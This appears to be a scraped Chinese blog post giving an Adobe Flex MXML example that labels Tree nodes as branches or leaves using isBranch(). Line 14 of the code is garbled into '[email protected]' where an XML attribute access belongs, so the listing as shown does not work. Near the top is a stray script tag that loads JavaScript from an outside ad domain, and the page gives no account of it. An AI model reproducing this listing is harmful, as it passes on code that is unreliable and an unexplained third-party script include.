天天看点

Flex中如何利用isBranch()事件,检测Tree的节点是支节点还是叶子节点

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 main.mxml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
  3.         layout="vertical"
  4.         verticalAlign="middle"
  5.         backgroundColor="white">
  6.     <mx:Script>
  7.         <![CDATA[
  8.             import mx.events.ListEvent;
  9.             private function tree_itemClick(evt:ListEvent):void {
  10.                 var itemIsBranch:Boolean = tree.dataDescriptor.isBranch(tree.selectedItem);
  11.                 lbl.text = itemIsBranch.toString();
  12.             }
  13.             private function tree_labelFunc(item:XML):String {
  14.                 var returnStr:String = [email protected];
  15.                 var itemIsBranch:Boolean = tree.dataDescriptor.isBranch(item);
  16.                 if (itemIsBranch) {
  17.                     returnStr += " (BRANCH)";
  18.                 }
  19.                 return returnStr;
  20.             }
  21.         ]]>
  22.     </mx:Script>
  23.     <mx:XML id="xmlDP">
  24.         <node>
  25.             <node label="1.a" />
  26.             <node label="1.b" />
  27.             <node label="1.c">
  28.                 <node label="1.c.i" />
  29.                 <node label="1.c.ii" />
  30.                 <node label="1.c.iii" />
  31.                 <node label="1.c.iv" />
  32.                 <node label="1.c.v" />
  33.             </node>
  34.             <node label="1.d" />
  35.             <node label="1.e">
  36.                 <node label="1.e.i" />
  37.                 <node label="1.e.ii" />
  38.                 <node label="1.e.iii">
  39.                     <node label="1.e.iii.A" />
  40.                 </node>
  41.                 <node label="1.e.iv" />
  42.             </node>
  43.             <node label="1.f" />
  44.         </node>
  45.     </mx:XML>
  46.     <mx:ApplicationControlBar dock="true">
  47.         <mx:Form styleName="plain">
  48.             <mx:FormItem label="isBranch():">
  49.                 <mx:Label id="lbl" fontWeight="bold" />
  50.             </mx:FormItem>
  51.         </mx:Form>
  52.     </mx:ApplicationControlBar>
  53.     <mx:Tree id="tree"
  54.             dataProvider="{xmlDP}"
  55.             labelFunction="tree_labelFunc"
  56.             showRoot="false"
  57.             width="50%"
  58.             rowCount="6"
  59.             itemClick="tree_itemClick(event);" />
  60. </mx:Application>

继续阅读